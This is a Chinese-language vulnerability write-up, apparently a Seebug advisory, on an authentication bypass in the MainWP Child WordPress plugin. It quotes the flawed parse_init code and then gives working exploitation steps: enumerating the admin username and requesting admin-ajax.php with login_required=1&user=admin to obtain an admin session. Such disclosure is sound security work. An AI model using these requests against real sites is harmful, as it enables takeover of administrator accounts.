<p>/class/MainWPChild.class.php</p><pre class=""> $this->posts_where_suffix = ''; $this->comments_and_clauses = ''; add_action('template_redirect', array($this, 'template_redirect')); add_action('init', array(&$this, 'parse_init')); add_action('admin_menu', array(&$this, 'admin_menu')); add_action('admin_init', array(&$this, 'admin_init')); add_action('init', array(&$this, 'localization')); …… function parse_init() { global $current_user; //wp variable //Login the user if (isset($_REQUEST['login_required']) && ($_REQUEST['login_required'] == 1) && isset($_REQUEST['user'])) { $username = rawurldecode($_REQUEST['user']); if (is_user_logged_in()) { global $current_user; if ($current_user->wp_user_level != 10 && (!isset($current_user->user_level) || $current_user->user_level != 10) && !current_user_can('level_10')) { do_action('wp_logout'); } } if (!is_user_logged_in() || $username != $current_user->user_login) { if...
<p>/class/MainWPChild.class.php</p><pre class=""> $this->posts_where_suffix = ''; $this->comments_and_clauses = ''; add_action('template_redirect', array($this, 'template_redirect')); add_action('init', array(&$this, 'parse_init')); add_action('admin_menu', array(&$this, 'admin_menu')); add_action('admin_init', array(&$this, 'admin_init')); add_action('init', array(&$this, 'localization')); …… function parse_init() { global $current_user; //wp variable //Login the user if (isset($_REQUEST['login_required']) && ($_REQUEST['login_required'] == 1) && isset($_REQUEST['user'])) { $username = rawurldecode($_REQUEST['user']); if (is_user_logged_in()) { global $current_user; if ($current_user->wp_user_level != 10 && (!isset($current_user->user_level) || $current_user->user_level != 10) && !current_user_can('level_10')) { do_action('wp_logout'); } } if (!is_user_logged_in() || $username != $current_user->user_login) { if (!$this->login($username)) { return; } </pre><p>当初始化时调用parse_init方法。当用户传入用户名的时候，只验证了用户名就登陆了，导致当攻击者获取到网站管理员的用户名后可以登录任意用户。<br></p><p>首先访问目标站点获取管理员登录名：</p><pre class="">http://10.211.55.3/wordpress?author=1</pre><p>利用登录名拼接URL：</p><pre class="">http://10.211.55.3/wordpress/wp-admin/admin-ajax.php?action=init&login_required=1&user=admin</pre><p>通过浏览器访问，发现已经返回Set-Cookie头。</p><p> </p><p><img alt="0AB88841-E5EB-4D6C-B54C-19F2F6027C89.png" src="https://images.seebug.org/@/uploads/1434002730976-0AB88841-E5EB-4D6C-B54C-19F2F6027C89.png" data-image-size="1302,758"><br></p><p>访问后台，已经成功登录：</p><pre class="">http://10.211.55.3/wordpress/wp-admin/</pre><p> </p><p><img alt="5FC75DDB-C31D-4FFA-9234-51A646516A05.png" src="https://images.seebug.org/@/uploads/1434002755702-5FC75DDB-C31D-4FFA-9234-51A646516A05.png" data-image-size="1378,630"><br></p>
